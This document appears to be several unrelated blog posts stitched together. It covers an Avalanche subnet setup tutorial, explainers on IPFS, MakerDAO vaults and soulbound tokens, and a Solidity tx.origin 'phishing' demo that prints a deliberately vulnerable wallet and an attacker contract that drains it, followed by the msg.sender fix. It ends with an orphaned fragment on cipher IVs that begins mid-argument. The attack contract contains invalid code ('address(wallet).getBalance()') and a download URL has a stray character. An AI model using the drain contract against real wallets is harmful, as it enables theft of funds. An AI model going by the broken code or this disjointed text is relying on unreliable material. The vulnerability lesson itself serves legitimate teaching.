Download GoLang

curl -OL https://golang.org/dl/go1.18.3.linux-amd64.tar.gz=
sudo tar -C /usr/local -xvf go1.18.3.linux-amd64.tar.gz

Add Go paths in your ~/.bashrc

Add these path variables in your ~/.bashrc file and reload it

export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Reload your bashrc for these changes to take effect on the same window.

source ~/.bashrc

Now, Check go version to see if everything is upto the mark.

go version
output: go version go1.18.3 linux/amd64

Install subnet-cli

git clone https://github.com/ava-labs/subnet-cli.git;
cd subnet-cli;
go install -v .;

Create your validator keys

Use this command to create your private key and fund it using fuji faucet.

I created a new directoty "keys" under my home directory and then ran this command to generate a private key.

cd keys
subnet-cli create key

A new file .subnet-cli.pk will be created with a private key. Copy the private key. By default, subnet-cli uses the key specified in file .subnet-cli.pk on the P-Chain to pay for the transaction fee, If you want to use some other key at some other location on this server, use --private-key-path later to overwrite. Please make sure that you have enough fund on this P-Chain address to pay for transactions.

To fund this private key on Fuji TestNet P-chain.

Address corresponding to this private key

Use your private key in the .subnet-cli.pk file on the web wallet to access this https://wallet.avax.network/. (Private Key is the first option on the web wallet). And pick Fuji on the top right corner as the network and locate your C-Chain address which starts with 0x. Copy this address.

Request funds from fujitestnet faucet.

Request funds from the faucet using your C-Chain address at https://faucet.avax.network/. Wait for the transaction to get confirmed.

Move funds from C-chain to P-chain

!C-chain to P-chain

After following these 3 steps, your test key should now have a balance on the P-Chain on the Fuji Testnet.

Create VMID

First, you'll need to compile the subnet-evm into a binary that AvalancheGo can interact with.

git clone https://github.com/ava-labs/subnet-evm.git
cd subnet-evm/
subnet-cli create VMID amafanssubnetevm

Create a VMID with string amafanssubnetevm which you can change to whatever you like. This command is used to generate a valid VMID based on some string to uniquely identify a VM. This should stay the same for all versions of the VM, so it should be based on a word rather than the hash of some code. Output will be:

created a new VMID juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj from amafanssubnetevm

Now issue this command to build

./scripts/build.sh build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj

This command will create a binary in the build folder

ubuntu@ip-172-31-90-23:~/subnet-evm$ ls build/
juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj

Move Binary

Choose option based on how you had built your "avalanchego".

Build from source manually

Once the subnet-evm binary is built, you'll need to move it to AvalancheGo's plugin directory (within the --build-dir) so it can be run by your node. When building avalanchego from source (see Run an Avalanche Node Manually ), this defaults to avalanchego/build/plugins in which avalanchego is the directory where you have checked out AvalancheGo project. This build directory is structured as:

build-dir |_avalanchego (note: this is the AvalancheGo binary, not a directory) |_plugins |_evm

To put the subnet-evm binary in the right place, run the following command (assuming the avalanchego and subnet-evm repos are in the same folder):

mv ./subnet-evm/build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj ./avalanchego/build/plugins;

using the Install Script

avalanche-node |_avalanchego (note: this is the AvalancheGo binary, not a directory) |_plugins |_evm

mv subnet-evm/build/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj avalanche-node/plugins/

Genesis file

Create a Custom Subnet Configuration

avalanche subnet create amafanssubnet

It will present you several options, Let us explore them one by one.

1. Choose EVM, For our case, use SubnetEVM

ubuntu@ip-172-31-90-23:~$ avalanche subnet create amafanssubnet
Use the arrow keys to navigate: ↓ ↑ → ←
? Choose your VM:
  ▸ SubnetEVM
    Custom

1. Choose chainID, Choose chainid which is not being used by any existing EVM chains Check here: https://chainlist.org/

Enter your subnet's ChainId. It can be any positive integer.
✗ ChainId: █

1. Choose Fee

? How would you like to set fees:
    Low disk use    / Low Throughput    1.5 mil gas/s (C-Chain's setting)
  ▸ Medium disk use / Medium Throughput 2 mil   gas/s
    High disk use   / High Throughput   5 mil   gas/s
    Customize fee config

1. Airdrop Tokens in the beginning of the chain

? How would you like to distribute funds:
    Airdrop 1 million tokens to the default address (do not use in production)
  ▸ Customize your airdrop

Enter your address and the tokens amount. If you want to add more airdrop, Keep clicking on Yes

? Would you like to airdrop more tokens?:
  ▸ No
    Yes

1. Adding a custom precompile We will revisit this option in later tutorials, Let’s continue with "No" option.

? Advanced: Would you like to add a custom precompile to modify the EVM?:
  ▸ No
    Yes

Click on No and your subnet will be created.

Check your subnet

ubuntu@ip-172-31-90-23:~$ avalanche subnet list

+---------------+---------------+-----------+
|    SUBNET     |     CHAIN     |   TYPE    |
+---------------+---------------+-----------+
| amafanssubnet | amafanssubnet | SubnetEVM |
+---------------+---------------+-----------+

Setting a Custom Fee Recipient

By default, all fees are burned (sent to the blackhole address with "allowFeeRecipients": false). However, it is possible to enable block producers to set a fee recipient (who will get compensated for blocks they produce). To enable this feature, you'll need to add the following to your genesis file (under the "config" key):

{
  "config": {
    "allowFeeRecipients": true
  }
}

Fee Recipient With allowFeeRecipients enabled, your validators can specify their addresses to collect fees. They need to update their EVM chain config with the following to specify where the fee should be sent to.

{
  "feeRecipient": "<YOUR 0x-ADDRESS>"
}

Get your genesis file for the subnet

avalanche subnet describe firstsubnet --genesis
{
    "config": {
        "chainId": 13665,
        "homesteadBlock": 0,
        "eip150Block": 0,
        "eip150Hash": "0x2086799aeebeae135c246c65021c82b4e15a2c451340993aacfd2751886514f0",
        "eip155Block": 0,
        "eip158Block": 0,
        "byzantiumBlock": 0,
        "constantinopleBlock": 0,
        "petersburgBlock": 0,
        "istanbulBlock": 0,
        "muirGlacierBlock": 0,
        "subnetEVMTimestamp": 0,
        "feeConfig": {
            "gasLimit": 8000000,
            "targetBlockRate": 2,
            "minBaseFee": 25000000000,
            "targetGas": 20000000,
            "baseFeeChangeDenominator": 36,
            "minBlockGasCost": 0,
            "maxBlockGasCost": 1000000,
            "blockGasCostStep": 200000
        },
        "contractDeployerAllowListConfig": {
            "blockTimestamp": null,
            "adminAddresses": null
        },
        "contractNativeMinterConfig": {
            "blockTimestamp": null,
            "adminAddresses": null
        },
        "txAllowListConfig": {
            "blockTimestamp": null,
            "adminAddresses": null
        }
    },
    "nonce": "0x0",
    "timestamp": "0x0",
    "extraData": "0x",
    "gasLimit": "0x7a1200",
    "difficulty": "0x0",
    "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "coinbase": "0x0000000000000000000000000000000000000000",
    "alloc": {
        "3213ef068d8def86a068d0cbbcbb3c00664894ad": {
            "balance": "0x8ac7230489e80000"
        },
        "9c4c630fab38192bbcc53464a156a59337d75a24": {
            "balance": "0x5af3107a4000"
        }
    },
    "airdropHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "airdropAmount": null,
    "number": "0x0",
    "gasUsed": "0x0",
    "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
    "baseFeePerGas": null
}

save this file in your home directory with amafanssubnet_genesis.json

Run your subnet EVM

Step 1: You must have a fuji node up and running, Refer to this article to deploy a fuji node on AWS. Get your nodeID by this command

ubuntu@ip-172-31-90-23:~$ curl -X POST --data '{
    "jsonrpc":"2.0",
    "id"     :1,
    "method" :"info.getNodeID"
}' -H 'content-type:application/json;' 127.0.0.1:9650/ext/info

ubuntu@ip-172-31-90-23:~$ {"jsonrpc":"2.0","result":{"nodeID":"NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2"},"id":1}

Make note of this node-id

Step 2:

subnet-cli wizard \
--node-ids=NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 \
--vm-genesis-path=amafanssubnet_genesis.json \
--vm-id=juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
--chain-name=amafanssubnet \
--private-key-path keys/subnet-cli.pk

If you see this error

subnet-cli failed insufficient funds: on [P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6] (expected=1201000000, have=0)

Your address that corresponds to the private key in .subnet-cli.pk doesn’t have sufficient funds. Please refer to the section "Create Keys" above to fund your address.

If everything goes fine, You will see this output

subnet-cli wizard --node-ids=NodeID-167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2\
         --vm-genesis-path=amafanssubnet_genesis.json \
         --vm-id=juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
          --chain-name=amafanssubnet \
          --private-key-path keys/subnet-cli.pk

2022-06-13T18:20:33.498Z        info    client/client.go:81     fetching X-Chain id
2022-06-13T18:20:33.543Z        info    client/client.go:87     fetched X-Chain id      {"id": "2JVSBoinj9C2J33VntvzYtVJNZdN2NKiwwKjcumHUWEb5DbBrm"}
2022-06-13T18:20:33.543Z        info    client/client.go:96     fetching AVAX asset id  {"uri": "https://api.avax-test.network"}
2022-06-13T18:20:33.564Z        info    client/client.go:105    fetched AVAX asset id   {"id": "U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK"}
2022-06-13T18:20:33.564Z        info    client/client.go:107    fetching network information
2022-06-13T18:20:33.590Z        info    client/client.go:116    fetched network information     {"networkId": 5, "networkName": "fuji"}

Ready to run wizard, should we continue?
*--------------------------------*---------------------------------------------------*
| PRIMARY P-CHAIN ADDRESS        | P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     |
*--------------------------------*---------------------------------------------------*
| TOTAL P-CHAIN BALANCE          | 1.9952981 $AVAX                                   |
*--------------------------------*---------------------------------------------------*
| TX FEE                         | 0.201 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| EACH STAKE AMOUNT              | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| TOTAL STAKE AMOUNT             | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| REQUIRED BALANCE               | 1.201 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| URI                            | https://api.avax-test.network                     |
*--------------------------------*---------------------------------------------------*
| NETWORK NAME                   | fuji                                              |
*--------------------------------*---------------------------------------------------*
| NEW PRIMARY NETWORK VALIDATORS | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*--------------------------------*---------------------------------------------------*
| VALIDATE END                   | 2023-04-09T18:20:33Z                              |
*--------------------------------*---------------------------------------------------*
| STAKE AMOUNT                   | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| VALIDATE REWARD FEE            | 2.000 %                                           |
*--------------------------------*---------------------------------------------------*
| REWARD ADDRESS                 | EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 |
*--------------------------------*---------------------------------------------------*
| CHANGE ADDRESS                 | EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 |
*--------------------------------*---------------------------------------------------*
| NEW SUBNET VALIDATORS          | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*--------------------------------*---------------------------------------------------*
| SUBNET VALIDATION WEIGHT       | 1,000                                             |
*--------------------------------*---------------------------------------------------*
| CHAIN NAME                     | amafanssubnet                                     |
*--------------------------------*---------------------------------------------------*
| VM ID                          | juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj |
*--------------------------------*---------------------------------------------------*
| VM GENESIS PATH                | amafanssubnet_genesis.json                        |
*--------------------------------*---------------------------------------------------*
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let's create! I agree to pay the fee!
    No, stop it!

Click on Yes. and you will see the following output

2022-06-13T18:21:03.709Z        info    client/p.go:405 adding validator        {"start": "2022-06-13T18:21:33.678Z", "end": "2023-04-09T18:20:33.000Z", "stakeAmount": 1000000000, "rewardAddress": "EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy", "changeAddress": "EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy"}
2022-06-13T18:21:03.812Z        info    platformvm/checker.go:48        polling P-Chain tx      {"txId": "4MQfGNN5o7HTTZL562P6NxKoSfVKGiodbh2ehm7oqZ2oavemB", "expectedStatus": "Committed"}
2022-06-13T18:21:03.812Z        info    poll/poll.go:42 start polling   {"internal": "1s"}
2022-06-13T18:21:05.948Z        info    poll/poll.go:66 poll confirmed  {"took": "2.136140586s"}
added 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to primary network validator set (took 2.136140586s)

waiting for validator 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to start validating 11111111111111111111111111111111LpoYY...(could take a few minutes)


2022-06-13T18:23:36.737Z        info    client/p.go:131 creating subnet {"dryMode": false, "assetId": "U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK", "createSubnetTxFee": 100000000}
2022-06-13T18:23:36.850Z        info    platformvm/checker.go:74        polling subnet  {"subnetId": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"}
2022-06-13T18:23:36.850Z        info    platformvm/checker.go:48        polling P-Chain tx      {"txId": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV", "expectedStatus": "Committed"}
2022-06-13T18:23:36.850Z        info    poll/poll.go:42 start polling   {"internal": "1s"}
2022-06-13T18:23:38.966Z        info    poll/poll.go:66 poll confirmed  {"took": "2.11540627s"}
2022-06-13T18:23:38.966Z        info    platformvm/checker.go:88        finding subnets {"subnetId": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"}
2022-06-13T18:23:38.966Z        info    poll/poll.go:42 start polling   {"internal": "1s"}
2022-06-13T18:23:39.028Z        info    poll/poll.go:66 poll confirmed  {"took": "62.183781ms"}
created subnet "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV" (took 2.177590051s)



Now, time for some config changes on your node(s).
Set --whitelisted-subnets=QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV and move the compiled VM juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj to <build-dir>/plugins/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj.
When you're finished, restart your node.
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let's continue! I've updated --whitelisted-subnets, built my VM, and restarted my node(s)!

{"subnetId": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"}

Adding your subnetid to your Fuji code config.json

open config.json present at ~/.avalanchego/configs/node.json on your fuji node and add following details, Replace whitelisted-subnets with the subnet Id from above.

 {
    "http-host": "",
    "network-id": "fuji",
    "public-ip": "44.205.74.92",
    "health-check-frequency": "2s",
    "log-display-level": "DEBUG",
    "log-level": "DEBUG",
    "whitelisted-subnets": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"

}

Restart your avalanchego service.

Your subnet details and Blockchain details.

Go back to your console where you ran the subnet wizard command. You will see the following lines in continutation.

2022-06-13T18:39:03.126Z        info    client/p.go:497 creating blockchain     {"subnetId": "QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV", "chainName": "amafanssubnet", "vmId": "juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj", "createBlockchainTxFee": 100000000}
created blockchain "j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN" (took 118.540399ms)

*----------------------------*---------------------------------------------------*
| PRIMARY P-CHAIN ADDRESS    | P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     |
*----------------------------*---------------------------------------------------*
| TOTAL P-CHAIN BALANCE      | 0.8942981 $AVAX                                   |
*----------------------------*---------------------------------------------------*
| URI                        | https://api.avax-test.network                     |
*----------------------------*---------------------------------------------------*
| NETWORK NAME               | fuji                                              |
*----------------------------*---------------------------------------------------*
| PRIMARY NETWORK VALIDATORS | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*----------------------------*---------------------------------------------------*
| SUBNET VALIDATORS          | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*----------------------------*---------------------------------------------------*
| SUBNET ID                  | QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV |
*----------------------------*---------------------------------------------------*
| BLOCKCHAIN ID              | j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN |
*----------------------------*---------------------------------------------------*
| CHAIN NAME                 | amafanssubnet                                     |
*----------------------------*---------------------------------------------------*
| VM ID                      | juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj |
*----------------------------*---------------------------------------------------*
| VM GENESIS PATH            | amafanssubnet_genesis.json                        |
*----------------------------*---------------------------------------------------*

This shows that your subnet QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV and Blockchain id is j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN

you can check this url https://explorer-xp.avax-test.network/blockchain/j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN to see the blockchain and subnet.

!Subnet details

Make your rpc url available

Install nginx for proxy forward port 80 to port 9650

Install nginx

sudo apt-get install nginx

Edit /etc/nginx/site-enabled/default and put this config.

server {

        etag off;
        ssl_protocols TLSv1.2;
        ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256';
        ssl_prefer_server_ciphers on;

        listen 80;
        location / {
                proxy_pass   http://localhost:9650/;
                real_ip_header CF-Connecting-IP;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                add_header X-Frame-Options 'deny' always;
                add_header X-Content-Type-Options "nosniff";
                add_header X-XSS-Protection '1; mode=block' always;
                add_header Cache-Control 'must-revalidate';
                add_header Strict-Transport-Security "max-age=31536000; includeSubdomains; preload";

                proxy_redirect off;

        #limit_except GET POST PUT { deny all; }

        }
        location /healthcheck {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                #add_header Access-Control-Allow-Origin *;
                return 200;
        }

        location /home/ubuntu/ {
                deny all;
                return 403;
        }

}

Open port 80 on the security group of your validator ec2 instance for 0.0.0.0/0.

here.

Access the RPC

Now access your RPC at http://[your validator elastic ip]/ext/bc/[Blockchain Id]/rpc

On the other hand, Content-based addressing identifies content by what’s in it rather than by where it’s located. IPFS uses content-based addressing to store content and is generally referred to as a decentralized storage system. It is a peer-to-peer (p2p) storage network. Content is accessible through peers located anywhere in the world, who might relay information, store it, or do both. IPFS knows how to find what you ask for using its content address rather than its location. Anybody can run their own IPFS node for free.

There are three fundamental principles to understanding IPFS:

1. Unique identification via content addressing

2. Content linking via directed acyclic graphs (DAGs)

3. Content discovery via distributed hash tables (DHTs)

Content addressing

IPFS uses content addressing to identify content by what’s in it rather than by where it’s located like searching a book by its name rather than by its location. IPFS assigns a unique name (content identifier, or CID or its hash) to every piece of content being stored. The hash is unique to the content that it came from, even though it may look short compared to the original content.

Directed acyclic graphs (DAGs)

IPFS and many other distributed systems take advantage of a data structure called directed acyclic graphs (A Graph where each edge has an orientation, from one vertex to another vertex and has no directed cycles.), or DAGs. Specifically, they use Merkle DAGs, where each node has a unique identifier that is a hash of the node’s contents — CID. Put another way: identifying a data object (like a Merkle DAG node) by the value of its hash is content addressing.

IPFS uses a Merkle DAG that is optimized for representing directories and files.

To build a Merkle DAG representation of your content, IPFS often first splits it into blocks. Splitting it into blocks means that different parts of the file can come from different sources and be authenticated quickly. (If you’ve ever used BitTorrent, you may have noticed that when you download a file, BitTorrent can fetch it from multiple peers at once; this is the same idea.)

Another useful feature of Merkle DAGs and breaking content into blocks is that if you have two similar files, they can share parts of the Merkle DAG, i.e., parts of different Merkle DAGs can reference the same subset of data. For example, if you update a website, only updated files receive new content addresses. Your old version and your new version can refer to the same blocks for everything else. This can make transferring versions of large datasets (such as genomics research or weather data) more efficient because you only need to transfer the parts that are new or changed, instead of creating entirely new files each time.

Distributed hash tables (DHTs)

To find which peers are hosting the content you’re after (discovery), IPFS uses a distributed hash table, or DHT. A hash table is a database of keys to values. A distributed hash table is one where the table is split across all the peers in a distributed network. To find content, you ask these peers.

Once you know where your content is (or, more precisely, which peers are storing each of the blocks that make up the content you’re after), you use the DHT again to find the current location of those peers (routing).

You’ve discovered your content, and you’ve found the current location(s) of that content. Now, you need to connect to that content and get it (exchange). To request blocks from and send blocks to other peers, IPFS currently uses a module called Bitswap (opens new window). Bitswap allows you to connect to the peer or peers that have the content you want, send them your wantlist (a list of all the blocks you’re interested in), and have them send you the blocks you requested. Once those blocks arrive, you can verify them by hashing their content to get CIDs and compare them to the CIDs that you requested. These CIDs also allow you to deduplicate blocks if needed.

There are several reasons for the advent of decentralized storage over centralized cloud storage.

• Data breaches: Just about all the major players have had data breaches in the last few years.

• Data outages: Dreaded DDoS attacks can leave you and millions of others without data.

• Rising storage costs: This means high bandwidth transmission costs, as well as increased data security costs as centralized storage, is easier to attack.

• Lack of ownership: Your personal private data is not owned only by you.

• Censorship and monitoring: While there are some benefits associated with this, many people disagree with censorship and surveillance especially if it approaches Orwellian levels.

• Low transmission speed

How it works:

1. You deposit/send ETH to Maker’s smart contract, creating a Vault for creating DAI. Vaults are required to be overcollateralized and have a Liquidation ratio** that Vault owners need to uphold to avoid the Liquidation** of their positions.

2. Let’s say a Vault with a 170% Liquidation Ratio will require a minimum $1.70 of collateral value (in ETH or any other supported crypto) for every $1 of Dai created. If the value of the collateral falls to ≤ $1.69 it will be Liquidated to cover the created Dai in addition to a fee called the Liquidation Penalty**.

   Example: You deposited 1 ETH (worth $1918) in Maker’s smart contract which will allow you to create 1128 DAI (using liquidation ratio** equation).

Case 1: The value of ETH keeps on rising and after 1 year, You decide to pay back 1128 DAI. You can claim your 1 ETH back by closing the vault which requires payment of 1128 DAI + Stability fee**. The DAI deposited will be burned and the stability fee goes to the Maker Protocol’s internal balance sheet.

Case 2: The value of ETH falls below $1918 making your vault on the risk of Liquidation as value of your collateral falls below the required Liquidation Ratio** i.e < 170 .

Keepers** will decide whether to Liquidate your vault or not based on the following conditions :

1. No liquidation will happen if you deposit more ETH to restore your Liquidation Ratio.

2. If you fail to restore your liquidation ration, Your collateral will be sold to cover the debt along with a Liquidation Penalty**, leaving the remaining collateral available for withdrawal.

Case 3: The price of Ethereum rises beyond $1918 due to the bull market starting. Your vault is now over-collateralized. You can borrow more DAI from your vault as long as you aren't breaching the liquidation ratio**.

** Liquidation: Liquidation is the process of selling collateral to cover the amount of Dai a user has generated from their Vault. Liquidation helps to ensure that Dai is always backed by an appropriate amount of collateral by closing-out Vaults that are under their minimum required Collateralization Ratio for their given collateral type.

** Stability Fee: A variable-rate fee (x% per second.) continuously added to a Vault owner’s generated Dai balance. The SF is a variable rate and is subject to change based on the decisions of MKR Token holders through voting.

** Liquidation Penalty: The fee that is added to the total outstanding DAI debt when a liquidation occurs.

** Liquidation Ratio: (Collateral Amount x Collateral Price) ÷ Generated Dai × 100. The liquidation Ratio is the minimum required collateralization level for each Vault type before it is considered undercollateralized and subject to liquidation. Each Vault type’s Liquidation Ratio is determined by a combination of the collateral’s risk profile and the Stability Fee. There may be multiple Vault types for each collateral, with varying Liquidation Ratios and Stability Fees.

** Keepers: To make sure that the required surplus of collateral exists at all times, Keeps is a class of users who are incentivized to maintain a constant watch for Vaults that become under-collateralized.

** Liquidation Price : (Generated Dai * Liquidation Ratio) / (Amount of Collateral)

Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking, and credit card details, and passwords.

The information is then used to access important accounts and can result in identity theft and financial loss.

In this post, We will try to understand how a contract owner can be fooled into transferring all their eth to another Ethereum address

pragma solidity ^0.6.10;

contract Wallet {
    
    address public owner;   
    
    constructor() public {
        owner = msg.sender;
    }
    
    
    function deposit() public payable {}
    
    function transfer(address payable _to, uint amount) public {
        require(tx.origin == owner, "Not the owner of this contract");
        (bool sent, ) = _to.call{value: amount}("");
        require (sent, "Failed to send ether");
    } 
    
    
    function getBalance() public view returns (uint){
        return address(this).balance;
    }
    
}

This contract lets any address to deposit ether into it through the deposit function. Only the owner of this contract will be able to withdraw ether from this smart contract. Lets us say, Ravya deploys this contract and other users can deposit any amount of ether into this contract.

So in principle, Only Ravya can withdraw all the ether deposited in this smart contract.

This contract might have other functions to make it more usable but for the sake of simplicity, I have put only three functions in this Wallet contract to demonstrate the phishing attack.

Let us design another contract -Phishing- to execute the phishing attack on this Wallet contract.

contract Phishing {
    address payable public owner;
    Wallet wallet ;
    
    constructor(Wallet _wallet) public {
        wallet = Wallet(_wallet); //setting the wallet storage   
                             //variable to the address of the wallet
                             // contract deployed on the chain.
        owner = msg.sender;
        
    }
    function transfer() public {
        wallet.transfer(owner, address(wallet).getBalance());
    }
}

Lets us see how another user -let us call him Kris- can use this contract to withdraw ether from the Wallet contract, even though he is not the owner of this Wallet contract.

The transfer() function of the Phishing contract calls the transfer function of the original Wallet contract with the owner, who deployed this contract -in this case, Kris- and the total amount of ether stored in the instance of Wallet contract.

For this phishing attack to execute successfully, Kris would have to convince Ravya to call the transfer function of the Phishing contract rather than the transfer function of the Wallet contract.

If Ravya calls the transfer function of the Phishing contract, The tx.origin will be set to Ravy’s address in the transfer function of both the contracts: Phishing and Wallet.

Consequently, This “require” statement in the Wallet contract will be executed successfully and all the ether in the Wallet contract will be transferred to the Kris address since tx.origin will be Ravya’s address even though, this function is being called from the transfer function of Phishing contract.

require(tx.origin == owner, "Not the owner of this contract");

How to stop this attack?

tx.origin gives the origin of the transactions, so the user address it was originally sent from. With tx.origin the owner can never be a contract.

In a simple call chain A->B->C->D, inside D msg.sender will be C, and tx.origin will be A.

To ward off this phishing attack, Just use msg.sender instead of tx.origin because of the following reason***:***

msg.sender gives the direct sender of the message, so for example a contract that passed it along.

So in our case, msg.sender will be the address of Phishing contract address rather than the address of Ravya which will cause require statement to fail.

Vitalik Buterin co-published a paper predicting Ethereum’s future.

NFT which are non-transferrable are called soulbound tokens (SBTs). Once you receive an SBT, you hold it in a Soul wallet forever. Only the issuer can burn the souldbound token.

Problem with Transferable NFT’s: If someone shows you that they have an NFT that is obtainable by doing X, you can’t tell whether they did X themselves or whether they just paid someone else to do X.

Use case 1: Universities could give SBT degrees to their graduates. If universities gave NFT degrees now, graduates could sell them to anyone online. But if a graduate receives an SBT degree, he would not be able to transfer or sell it.

Use case 2: A company is trying to hire people who went to Conference X. Because Conference X gave out SBT badges to its attendees, no one can buy a badge on an open market. The company could then filter candidates for verified attendees of Conference X.

Use case 3: A DAO wants to build a community of environmentalists. The DAO can airdrop SBTs to attendees of environmental conferences and graduates of environmental programs. Assumption: there are very bad things that can easily happen to governance mechanisms if governance power is easily transferable.

Use case 4: Property ownership, People renting the property should be given soulbond tokens.

My Take.

1. The burn should happen only by DAO members or may by a Kleros court.

2. Protocols should allow minting soulbound tokens based on the protocol used. Would be really beneficial for Defi Protocols or NFT projects.

3. Soulbound tokens should be a starting point for identity (Identity as an NFT is a bad idea since the beginning) .

Non-transferability and privacy

What if the user wants to migrate all their assets from one wallet to another?

proof-of-humanity attestation: Theoretically, anyone can create a proof-of-humanity profile with a smart contract account that has transferable ownership, and then sell that account. But the proof-of-humanity protocol has a revocation feature that allows the original owner to make a video asking for a profile to be removed, and a Kleros court decides whether or not the video was from the same person as the original creator. Once the profile is successfully removed, they can re-apply to make a new profile. Hence, if you buy someone else’s proof-of-humanity profile, your possession can be very quickly taken away from you, making transfers of ownership non-viable. Proof-of-humanity profiles are de-facto soulbound, and infrastructure built on top of them could allow for on-chain items, in general, to be soulbound to particular humans.

The above method is really difficult to implement. The other simpler method suggested by Vitalik:

Fortunately, a few fairly simple technical options are possible:

• Store the item at an address that is the hash of (i) an index, (ii) the recipient address, and (iii) a secret belonging to the recipient. You could reveal your secret to an interface that would then scan for all possible items that belong to your, but no one without your secret could see which items are yours.

• Publish a hash of a bunch of items, and give each recipient their Merkle branch.

• If a smart contract needs to check if you have an item of some type, you can provide a ZK-SNARK.

Transfers could be done on-chain; the simplest technique may just be a transaction that calls a factory contract to make the old item invalid and the new item valid, using a ZK-SNARK to prove that the operation is valid.

Note that most of these require the IV to be random, which means non-predictable and therefore should be generated with cryptographic security. However, some require only a “nonce”, which does not demand that property but instead only requires that it is not re-used. Therefore designs that rely on a nonce are less error prone than designs that do not (and believe me, I have seen many cases where CBC is not implemented with proper IV selection). So you will see that I have added bold when Rogaway says something like “confidentiality is not achieved when the IV is a nonce”, it means that if you choose your IV cryptographically secure (unpredictable), then no problem. But if you do not, then you are losing the good security properties. Never re-use an IV for any of these modes.

Also, it is important to understand the difference between message integrity and encryption. Encryption hides data, but an attacker might be able to modify the encrypted data, and the results can potentially be accepted by your software if you do not check message integrity. While the developer will say “but the modified data will come back as garbage after decryption”, a good security engineer will find the probability that the garbage causes adverse behaviour in the software, and then he will turn that analysis into a real attack. I have seen many cases where encryption was used but message integrity was really needed more than the encryption. Understand what you need.

I should say that although GCM has both encryption and message integrity, it is a very fragile design: if you re-use an IV, you are screwed — the attacker can recover your key. Other designs are less fragile, so I personally am afraid to recommend GCM based upon the amount of poor encryption code that I have seen in practice.

